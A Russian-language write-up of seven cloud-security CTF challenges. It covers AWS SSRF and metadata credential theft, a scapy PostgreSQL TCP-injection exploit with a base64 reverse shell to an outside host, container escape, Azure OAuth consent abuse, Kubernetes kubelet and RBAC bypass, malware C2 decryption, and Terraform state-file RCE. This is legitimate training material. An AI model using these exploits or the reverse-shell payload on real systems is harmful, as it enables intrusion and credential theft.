Wiz проводит CTF, который длится целый год: каждый месяц выходит новый таск. Все задания так или иначе про пентест cloud‑native инфраструктуры. Решать таски можно тут: https://cloudsecuritychampionship.com
Chal 1 — Perimeter Leak#
After weeks of exploits and privilege escalation you’ve gained access to what you hope is the final server that you can then use to extract out the secret flag from an S3 bucket.
It won’t be easy though. The target uses an AWS data perimeter to restrict access to the bucket contents.
В самом начале по условию уже найден открытый Actuator. Сходив на веб, получаем ответ, что это прокси‑сервер — отмечаем на будущее.

Отправляем GET на /actuator и видим список включенных эндпоинтов.

Эндпоинтов много. Самый интересный — env. Секретов там нет, но есть полезные переменные, к ним вернемся.
/actuator/mappings показывает маршруты, которые хендлит бэкенд.

Похоже, есть ручка для проксирования с параметром url. Именно так нас и поприветствовало приложение в начале. Итого: SSRF.
Проверяем облачный metadata‑service, запрашивая IAM‑токен.

Неуспех: сейчас AWS использует IMDSv2, нужно сначала сделать PUT и получить токен, передав хедер. Благо прокси пробрасывает и методы, и заголовки.

Теперь уже вытаскиваем IAM‑токен из metadata‑service.

В метадате лежат креды, с которыми хост ходит в AWS‑сервисы. Проверяем валидность.

Все успешно. Возвращаемся к /actuator/env — там есть переменная BUCKET.

Логично, что это S3. Листим бакет, видим private, но чтение флага запрещено.

Проверяем HeadObject/GetObject — тоже мимо.

Читаем политику бакета:
{
"Effect": "Deny",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::challenge01-470f711/private/*",
"Condition": {
"StringNotEquals": {
"aws:SourceVpce": "vpce-0dfd8b6aa1642a057"
}
}
}
Политика говорит: на /private стоит Deny, если запрос не пришел через vpce-0dfd8b6aa1642a057 (скорее всего, это тачка с прокси).
Дальше — генерируем ссылку на объект и читаем флаг через хост, который имеет нужные права.


Получаем флаг и лутаем быстрый дофамин.
Источники:
- https://www.wiz.io/blog/spring-boot-actuator-misconfigurations
- https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html
Chal 2 — Contain Me If You Can#
You’ve found yourself in a containerized environment.
To get the flag, you must move laterally and escape your container. Can you do it?
The flag is placed at /flag on the host’s file system.
По условию нужно сделать lateral move между контейнерами и затем сбежать на хост. На этапе разведки, прослушивая трафик, детектим взаимодействие с PostgreSQL — это соседний контейнер.

Можно подумать, что креды есть в текущем контейнере, но процесса, который ходит в БД, тут нет. Вероятнее всего, в базу ходит sidecar, доступа к процессу которого у нас нет. Зато есть cap_net_raw, значит можем работать с трафиком.
Коннект держится и не обрывается, поэтому просто поснифать креды не выйдет. Есть два пути:
- Оборвать текущее соединение, чтобы приложение пересоздало его, и вытащить учетку из нового хэндшейка.
tcpkill -9 host 172.19.0.2
Открываем дамп и достаем креды.


- Вклиниться в существующее соединение и закинуть команду, надеясь, что у пользователя достаточно прав. Шлем RST клиенту, а в БД — команду на reverse shell, соблюдая корректные TCP‑флаги.
Сплойт
from scapy.all import *
import time
CLIENT_IP = "172.19.0.3"
SERVER_IP = "172.19.0.2"
PORT_DB = 5432
def get_tcp_ts(pkt):
ts_val = 0
ts_ecr = 0
for opt, val in pkt[TCP].options:
if opt == 'Timestamp':
ts_val, ts_ecr = val
return ts_val, ts_ecr
def inject(pkt):
if pkt[IP].src == SERVER_IP and pkt[TCP].dport != PORT_DB:
client_port = pkt[TCP].dport
print(f"[*] Intercepted packet from server. Client Port: {client_port}")
srv_seq = pkt[TCP].seq
srv_ack = pkt[TCP].ack
ts_val, ts_ecr = get_tcp_ts(pkt)
rst_to_client = IP(src=SERVER_IP, dst=CLIENT_IP)/TCP(sport=PORT_DB, dport=client_port, flags="R", seq=srv_ack)
send(rst_to_client, verbose=False)
print(f"[+] Sent silent RST to real client.")
sql = "COPY (SELECT 1) TO PROGRAM 'echo c2ggLWkgPiYgL2Rldi90Y3AvYnJ1aC5jcjQuc2gvODA4MSAwPiYxCg== | base64 -d | bash';"
pg_payload = b'Q' + (len(sql) + 5).to_bytes(4, 'big') + sql.encode() + b'\x00'
payload_len = 0
if pkt.haslayer(Raw):
payload_len = len(pkt[Raw].load)
new_ts_val = ts_ecr + 1000
new_ts_ecr = ts_val
opts = [('NOP', None), ('NOP', None), ('Timestamp', (new_ts_val, new_ts_ecr))]
inj_pkt = (IP(src=CLIENT_IP, dst=SERVER_IP)/
TCP(sport=client_port, dport=PORT_DB, flags="PA",
seq=srv_ack, ack=srv_seq + payload_len, options=opts)/
pg_payload)
time.sleep(0.1)
send(inj_pkt, verbose=False)
print(f"[!] Injection sent! Seq: {srv_ack}, Ack: {srv_seq + payload_len}")
exit(0)
print(f"[*] Sniffing for {SERVER_IP} -> {CLIENT_IP} traffic...")
sniff(filter=f"tcp src port {PORT_DB} and dst host {CLIENT_IP}", prn=inject, store=0)
В итоге оба пути приводят нас в контейнер с базой. Забираем креды для дальнейших подключений.

Проверяем capabilities — они максимальные, контейнер привилегированный, значит побег на хост несложный.

cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Монтируем хостовые диски и читаем флаг.

Небольшой спойлер: как выглядел docker-compose таска.
docker-compose.yml
services:
# This container runs the main PostgreSQL database server.
db:
image: challenge/db:latest
container_name: postgres_db
restart: always
networks:
- db_network
privileged: true
environment:
POSTGRES_USER: user
POSTGRES_DB: mydatabase
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
ports:
- "5432:5432"
healthcheck:
test: ["CMD-SHELL", "pg_isready -U user -d mydatabase"]
interval: 10s
timeout: 5s
retries: 5
# This container has psql tools and is on the same network as the database.
db-client:
image: challenge/db-client:latest
container_name: postgres_client
restart: always
networks:
- db_network
depends_on:
db:
condition: service_healthy
environment:
PGPASSWORD: ${POSTGRES_PASSWORD}
command: >
sh -c '
connect_and_query() {
echo "INFO: Attempting to connect and send queries..."
(while true; do echo "SELECT now();"; sleep 15; done) | psql "host=db user=user dbname=mydatabase keepalives_idle=5 keepalives_interval=5 keepalives_count=1 tcp_user_timeout=3000"
}
while true; do
connect_and_query
echo "WARN: Connection lost. Retrying..."
done
'
# This container runs a basic shell and shares its network with the 'db-client'.
bash-tool:
image: challenge/bash-tool:latest
container_name: bash_tool
network_mode: "service:db-client"
depends_on:
- db-client
command: sleep infinity
networks:
db_network:
driver: bridge
volumes:
postgres_data:
driver: local
Chal 3 — Breaking The Barriers#
As an APT group targeting Azure, you’ve discovered a web app that creates admin users, but they are heavily restricted. To gain initial access, you’ve created a malicious OAuth app in your tenant and now seek to deploy it into the victim’s tenant. Can you bypass the restrictions and capture the flag?
The shell environment has been preloaded with your malicious OAuth app credentials and the target web app endpoint as environment variables. Use ’env | grep AZURE’ or ’echo $WEB_APP_ENDPOINT’ to view them.
Таска про Azure. По условию мы уже зарегистрировали вредоносный OAuth‑app и хотим протащить его в tenant жертвы. Параллельно найдено приложение для создания «админов» в целевом домене.
curl -X POST https://app-admin-dpbug0fqb4gea3a6.z01.azurefd.net/create-user \
-d "firstName=CTF" \
-d "lastName=megabro" \
-d "password=Password123@" \
-d "skipRecaptcha=true"
По сути это эмуляция клиентской атаки: сами создаем «админа», затем атакуем его. API‑доступ у таких пользователей сильно ограничен. Пробуем аутентифицироваться в разные Azure‑API — токены либо не получаются, либо приходят с ограничениями.
Проверка:
- Получаем tenant‑id по имени домена:
curl -s https://login.microsoftonline.com/azurectfchallengegame.com/.well-known/openid-configuration | jq .token_endpoint
- Берем
client_idиз документации https://learn.microsoft.com/en-us/power-platform/admin/apps-to-allow и пробуем получить токен:
curl -X POST https://login.microsoftonline.com/d26f353d-c564-48e7-b26f-aa48c6eecd58/oauth2/v2.0/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password" \
-d "client_id=e9c51622-460d-4d3d-952d-966a5b1da34c" \
-d "[email protected]" \
-d "password=Password123@" \
-d "scope=https://management.azure.com/.default"
Почти везде получаем ошибку Access has been blocked by Conditional Access policies. Байпасы с https://entrascopes.com/ не сработали.
Возвращаемся к идее с «админом». Можно руками добавить вредоносное приложение в tenant через ссылку adminconsent:
https://login.microsoftonline.com/<Tenant-ID>/adminconsent?client_id=<EVIL-APP-ID>&redirect_uri=http://cr4.sh
Прокликиваем согласия — и теперь у нас есть токен для кастомного приложения внутри tenant.

Смотрим токен: роли — User.Invite и Group.Read.

Листим группы:
curl -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/groups | jq

В описании одной группы сказано, что она читает флаг. Условия такие:
"(user.department -eq \"Finance\") and (user.jobTitle -eq \"Manager\") or (user.displayName -startsWith \"CTF\") and (user.userType -eq \"Guest\") or (user.city -eq \"Seattle\")"
Нужно пригласить пользователя, у которого displayName начинается с CTF, и он гость. Как раз есть право User.Invite. Инвайтим через Graph API, указываем почту, к которой есть доступ.

Переходим по inviteRedeemUrl, принимаем приглашение. Токеном приложения смотрим, какие права у группы — есть доступ к нужному ресурсу.

Пробуем получить подробности ресурса:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals/$RESOURCE_ID"
Но у токена приложения нет прав. Поэтому логинимся под инвайченным пользователем:
az login --use-device-code --tenant d26f353d-c564-48e7-b26f-aa48c6eecd58
Дальше берем токен для Graph API:
az account get-access-token --scope https://graph.microsoft.com/.default --query accessToken -o tsv
Теперь прав достаточно.

В поле homepage лежит ссылка на флаг. При переходе — отказ, по ответу видно, что это S3. Значит, нужно выпустить токен для S3 и забрать флаг.

Chal 4 — Needle in a Haystack#
We have got intelligence that one our developers at Ack-Me Corp is working on a weekend side-project where he is vibe coding an internal knowledge-base chatbot for our company, where he put all of our customer records and sensitive data inside it.
Your mission, if you choose to accept it - is to track down the website and obtain the secret flag.
Start by investigating ackme-corp.net online presence and dig deep into their infrastructure, this includes going beyond the scope of the shell.
Начинаем с subfinder по домену. Результаты скромные:
app.ackme-corp.net
interactsh.ackme-corp.net
Идем искать в публичных репозиториях. На GitHub ловим успех.

В репозитории через историю github-actions видны коммиты, которые меняли файл с доменами. Получаем список:
morpheus-docs.dev.vtg.paramount.tech
testing.internal.ackme-corp.net
testing.internal.hacme-corp.net
sphinxdocs.pyansys.co
docs.staging.chase.io
Новый домен hacme-corp.net тоже прогоняем через subfinder:
coding.internal.test.hacme-corp.net
hacme-corp.net
internal.test.hacme-corp.net
test.hacme-corp.net
vibe.coding.internal.test.hacme-corp.net
В crt.sh те же домены, только с wildcard‑записями.

Комбинируем методы энумерации. Составляем два wordlist‑а: из найденных доменов и выданный в задании.
interactsh
app
coding
internal
test
testing
vibe
Брутим поддомены в ackme-corp.net и hacme-corp.net, плюс вариации *.internal.test, *.coding.internal.test и т.д. В итоге получаем:
coding.pprod.testing.internal.ackme-corp.net. A 98.82.24.106
Сканим порты:
[809ms] [*] Open port 98.82.24.106:53
[1.2s] [*] Open port 98.82.24.106:22
[1.3s] [*] Open port 98.82.24.106:80

Переходим к взлому веба. Единственная форма логина шлет запрос на /api/auth/login.
Dirsearch находит /openapi.json, в котором видны эндпоинты:
/api/auth/login
/api/auth/logout
/api/chat
/api/health
/chat
/login
Чат требует аутентификацию, а кредов нет. В футере видим Powered by vibecodeawebsitetoday.com — выглядит как след от генератора.

В openapi.json есть интересный маршрут: /api/apps/{app_id}/auth/register — регистрация нового пользователя для VibeCode‑приложения с авто‑верификацией.

app_id вытаскивается из сурсов страницы /login. Регистрируем пользователя:

Логинимся и получаем доступ к чату.

Просим чатбота — он отдает флаг. Таск, честно говоря, слабенький.

Chal 5 — Game of Pods#
You’ve gained access to a pod in the staging environment.
To beat this challenge, you’ll have to spread throughout the cluster and escalate privileges. Can you reach the flag?
Мы в кубовом поде. Права текущего токена позволяют листить и описывать поды текущего namespace.

Делаем рекон сервисов и namespace‑ов через k8spider (PTR/SRV по IP).

Есть namespace app с сервисами k8s-debug-bridge и app-blog-service. К ним еще вернемся.
Смотрим под в staging:

В describe бросается в глаза кастомный Docker‑registry.

Проверяем, какие образы публичные. Помимо test есть k8s-debug-bridge.

Монтируем образ и читаем исходники сервиса в /root/k8s-debug-bridge.go.
k8s-debug-bridge.go
// A simple debug bridge to offload debugging requests from the api server to the kubelet.
package main
import (
"crypto/tls"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"net/http"
"net/url"
"os"
"strings"
)
type Request struct {
NodeIP string `json:"node_ip"`
PodName string `json:"pod"`
PodNamespace string `json:"namespace,omitempty"`
ContainerName string `json:"container,omitempty"`
}
var (
httpClient = &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
}
serviceAccountToken string
nodeSubnet string
)
func init() {
tokenBytes, err := ioutil.ReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token")
if err != nil {
log.Fatalf("Failed to read service account token: %v", err)
}
serviceAccountToken = strings.TrimSpace(string(tokenBytes))
nodeIP := os.Getenv("NODE_IP")
if nodeIP == "" {
log.Fatal("NODE_IP environment variable is required")
}
nodeSubnet = nodeIP + "/24"
}
func main() {
http.HandleFunc("/logs", handleLogRequest)
http.HandleFunc("/checkpoint", handleCheckpointRequest)
fmt.Println("k8s-debug-bridge starting on :8080")
http.ListenAndServe(":8080", nil)
}
func handleLogRequest(w http.ResponseWriter, r *http.Request) {
handleRequest(w, r, "containerLogs", http.MethodGet)
}
func handleCheckpointRequest(w http.ResponseWriter, r *http.Request) {
handleRequest(w, r, "checkpoint", http.MethodPost)
}
func handleRequest(w http.ResponseWriter, r *http.Request, kubeletEndpoint string, method string) {
req, err := parseRequest(w, r) ; if err != nil {
return
}
targetUrl := fmt.Sprintf("https://%s:10250/%s/%s/%s/%s", req.NodeIP, kubeletEndpoint, req.PodNamespace, req.PodName, req.ContainerName)
if err := validateKubeletUrl(targetUrl); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
resp, err := queryKubelet(targetUrl, method) ; if err != nil {
http.Error(w, fmt.Sprintf("Failed to fetch %s: %v", method, err), http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Write(resp)
}
func parseRequest(w http.ResponseWriter, r *http.Request) (*Request, error) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return nil, fmt.Errorf("invalid method")
}
var req Request = Request{
PodNamespace: "app",
PodName: "app-blog",
ContainerName: "app-blog",
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "Invalid JSON", http.StatusBadRequest)
return nil, err
}
if req.NodeIP == "" {
http.Error(w, "node_ip is required", http.StatusBadRequest)
return nil, fmt.Errorf("missing required fields")
}
return &req, nil
}
func validateKubeletUrl(targetURL string) (error) {
parsedURL, err := url.Parse(targetURL) ; if err != nil {
return fmt.Errorf("failed to parse URL: %w", err)
}
// Validate target is an IP address
if net.ParseIP(parsedURL.Hostname()) == nil {
return fmt.Errorf("invalid node IP address: %s", parsedURL.Hostname())
}
// Validate IP address is in the nodes /16 subnet
if !isInNodeSubnet(parsedURL.Hostname()) {
return fmt.Errorf("target IP %s is not in the node subnet", parsedURL.Hostname())
}
// Prevent self-debugging
if strings.Contains(parsedURL.Path, "k8s-debug-bridge") {
return fmt.Errorf("cannot self-debug, received k8s-debug-bridge in parameters")
}
// Validate namespace is app
pathParts := strings.Split(strings.Trim(parsedURL.Path, "/"), "/")
if len(pathParts) < 3 {
return fmt.Errorf("invalid URL path format")
}
if pathParts[1] != "app" {
return fmt.Errorf("only access to the app namespace is allowed, got %s", pathParts[1])
}
return nil
}
func queryKubelet(url, method string) ([]byte, error) {
req, err := http.NewRequest(method, url, nil)
if err != nil {
return nil, fmt.Errorf("failed to create request: %w", err)
}
req.Header.Set("Authorization", "Bearer "+serviceAccountToken)
log.Printf("Making request to kubelet: %s", url)
resp, err := httpClient.Do(req)
if err != nil {
return nil, fmt.Errorf("failed to connect to kubelet: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
log.Printf("Kubelet error response: %d - %s", resp.StatusCode, string(body))
return nil, fmt.Errorf("kubelet returned status %d: %s", resp.StatusCode, string(body))
}
return io.ReadAll(resp.Body)
}
func isInNodeSubnet(targetIP string) bool {
target := net.ParseIP(targetIP)
if target == nil {
return false
}
_, subnet, err := net.ParseCIDR(nodeSubnet)
if err != nil {
return false
}
return subnet.Contains(target)
}
Сервис делает запросы к kubelet и принимает node_ip. Фильтрация слабая: можно пропихнуть почти любой IP из подсети, главное не включать k8s-debug-bridge в параметры.
Айпи ноды получаем из describe своего пода. Через kubelet API делаем RCE в app-blog (exec через websocket недоступен, поэтому используем cmd).

Команды выполняются. Внутри контейнера лежит токен нового сервис‑аккаунта.

Смотрим исходники приложения (лежит в /root).
app-blog source (фрагмент)
package main
import (
"embed"
"html/template"
"io/fs"
"log"
"net/http"
"strings"
"time"
corev1 "k8s.io/api/core/v1"
"k8s.io/apimachinery/pkg/api/errors"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/client-go/kubernetes"
"k8s.io/client-go/rest"
)
//go:embed templates/*
var templatesFS embed.FS
//go:embed static/*
var staticFS embed.FS
const (
port = "5000"
namespace = "app"
secretNamePrefix = "user-"
)
var (
clientset *kubernetes.Clientset
templates *template.Template
)
// ...
Логика простая: пользователи хранятся как Kubernetes Secrets. Раз у нас есть доступ к созданию секретов, можно выпускать токены для ServiceAccount через аннотацию kubernetes.io/service-account.name.
Смотрим документацию: https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/
If you want to obtain an API token for a ServiceAccount, you create a new Secret with a special annotation,
kubernetes.io/service-account.name. If you view the Secret using:
kubectl get secret/build-robot-secret -o yaml
you can see that the Secret now contains an API token for the “build-robot” ServiceAccount. Because of the annotation you set, the control plane automatically generates a token for that ServiceAccounts, and stores them into the associated Secret. The control plane also cleans up tokens for deleted ServiceAccounts.
kubectl apply -f - <<EOF
apiVersion: v1
kind: Secret
metadata:
name: build-robot-secret
annotations:
kubernetes.io/service-account.name: build-robot
type: kubernetes.io/service-account-token
EOF
Нам нужен токен от k8s-debug-bridge, но имя SA неизвестно.
kubectl apply -n app --token=$TOKEN -f - <<EOF
apiVersion: v1
kind: Secret
metadata:
name: bridge-token
annotations:
kubernetes.io/service-account.name: k8s-debug-bridge
type: kubernetes.io/service-account-token
EOF

Проверяем новые права.

Есть nodes/proxy, что позволяет ходить на kubelet, минуя RBAC. Дальше используем баг https://github.com/kubernetes/kubernetes/issues/119270. Суть: патчим nodes/status, подменяя порт kubelet на порт kube‑api (в k3s это 6443). Затем через nodes/proxy запросы идут в kube‑api и RBAC обходится.
Kubelet часто обновляет статус, поэтому патчим в цикле, чтобы поймать окно:
while true; do kubectl patch node noder --subresource=status --type=merge --patch-file pat.json --token=$TOKEN; done
{
"status": {
"addresses": [
{
"type": "InternalIP",
"address": "172.30.0.2"
}
],
"daemonEndpoints": {
"kubeletEndpoint": {
"Port": 6443
}
}
}
}
Читаем секреты кластера через kube‑api — флаг внутри.

Chal 6 — Malware Busters!#
Your job is to analyze the binary as best you can. Your analysis should include:
- Describe the actions performed by the malware.
- Find the C2 server the malware communicates with.
- Decrypt the malware’s C2 protocol.
By following these steps you will find the hidden flag to complete the challenge.
Скачиваем бинарь, прогоняем через die.

Снять UPX обычным способом не получилось:
upx -d buu
Видно, что применены защиты от депакинга. Используем https://github.com/NozomiNetworks/upx-recovery-tool.

Сигнатуры восстановлены, upx -d работает. Грузим распакованный бинарь в die.

Открываем в IDA (используем MCP и AI агента, разумеется).

Дальше логика: из /tmp/.X11/cnf читаются байты, прогоняются через main_kYgXL_QA. Декомпил переписываем на Python и читаем конфиг.
Декодер конфига
import sys
import struct
from pathlib import Path
def decode(data: bytes, key_int: int):
k = struct.pack("<i", key_int)
out = bytearray(len(data))
for i in range(0, len(data), 4):
b0, b1, b2, b3 = data[i:i+4]
# out[i+0] = in[i+2] ^ k[0]
# out[i+1] = in[i+3] ^ k[1]
# out[i+2] = in[i+0] ^ k[2]
# out[i+3] = in[i+1] ^ k[3]
out[i+0] = b2 ^ k[0]
out[i+1] = b3 ^ k[1]
out[i+2] = b0 ^ k[2]
out[i+3] = b1 ^ k[3]
return bytes(out)
path = Path(sys.argv[1])
data = path.read_bytes()
key = -289655980
decoded = decode(data, key)
print(decoded.decode("utf-8"))
На выходе получаем URL сервера и ключ:
{
"server": "https://wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws/command",
"enc_key": "73eeac3fa1a0ce48f381ca1e6d71f077"
}
Дальше функция main.qvHPoPlV собирает URL, делает http.Client.Get, читает тело и дешифрует AES‑CBC с ключом enc_key (hex). Внутри видно параметры запроса. По runtime_mapassign_faststr вытаскиваем ключи: n и s. Значения — hostname (uname -n) и счетчик.


Идем на сервер с n=monthly-challenge. Получаем blob.

Дешифруем AES‑CBC. Перебираем s, пока не увидим флаг.
Солвер
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import requests
KEY_HEX = '73eeac3fa1a0ce48f381ca1e6d71f077'
C2_URL = 'https://wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws/command'
def decrypt_data(data: bytes, key_hex: str) -> str:
key = bytes.fromhex(key_hex)
iv = data[:AES.block_size]
ct = data[AES.block_size:]
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_padded = cipher.decrypt(ct)
pt = unpad(decrypted_padded, AES.block_size)
return pt.decode('utf-8')
for i in range(100):
r = requests.get(f"{C2_URL}?n=monthly-challenge&s={i}")
try:
decrypted_text = decrypt_data(r.content, KEY_HEX)
if decrypted_text != "whoami":
print(f"[+] decrypted: {decrypted_text}, s: {i}")
except Exception as e:
print(f"err: {e}")

Chal 7 — State of Affairs#
You’ve gained access to a container running some infrastructure automation. A cron job executes Terraform every minute to keep certificates fresh.
The flag is stored in a privileged user’s home directory - but you’re just a regular user with no direct access.
Can you find a way to make Terraform work for you?
Осматриваемся. Мы низкопривилегированный юзер, имеем право записи только в /tmp, /var/tmp, /home/ctf.
Запущен cron‑таск:

Каждую минуту выполняется команда от имени tfuser:
terraform -chdir=/home/tfuser init && terraform -chdir=/home/tfuser apply -auto-approve > /var/tmp/tfoutput.log 2>&1
Лог читается, но без пользы. Домашняя директория tfuser доступна только на чтение, флаг лежит рядом.
terraform:/home/tfuser$ ls -la
total 28
drwxr-sr-x 1 tfuser tfgroup 4096 Jan 14 00:17 .
drwxr-xr-x 1 root root 4096 Dec 22 12:46 ..
-rw-r--r-- 1 tfuser tfgroup 3331 Jan 14 00:16 .terraform.lock.hcl
-r-------- 1 tfuser tfgroup 40 Dec 22 12:46 flag
-rw------- 1 tfuser tfgroup 1251 Dec 22 12:45 main.tf
-rwxr-xr-x 1 tfuser tfgroup 1151 Jan 14 00:17 server.crt
В переменных окружения есть TF_DATA_DIR=/tmp/.terraform, значит данные проекта Terraform будут в /tmp. В /tmp/.terraform/terraform.tfstate видим, что backend — local, а путь состояния — /tmp/terraform.tfstate.
{
"version": 3,
"terraform_version": "1.14.3",
"backend": {
"type": "local",
"config": {
"path": "/tmp/terraform.tfstate",
"workspace_dir": null
},
"hash": 3922107050
}
}
В state уже есть секреты (TLS/SSH), но для флага это не помогает. Идея: при старте инстанса, пока cron еще ни разу не запускался, создать /tmp/terraform.tfstate с вредоносным состоянием. State считается доверенным.
Создаем файл заранее и делаем его доступным на запись:
touch /tmp/terraform.tfstate && chmod 666 /tmp/terraform.tfstate
Дальше подсовываем state с ресурсом, который дает RCE через registry‑provider.
tfstate с пооезной нагрузкой:#
{
"version": 4,
"terraform_version": "1.5.7",
"serial": 1000,
"lineage": "pwn-lineage",
"resources": [
{
"mode": "managed",
"type": "rce",
"name": "keklol",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "cat /home/tfuser/flag > /tmp/lol",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
]
}
После прогона cron‑таска появляется файл с флагом.

Скорее всего это unintended‑способ, но автор задачи меня игнорирует :)
Ждите следующую часть в июне, когда дропнут оставшиеся 5 тасков и слушайтесь маму.

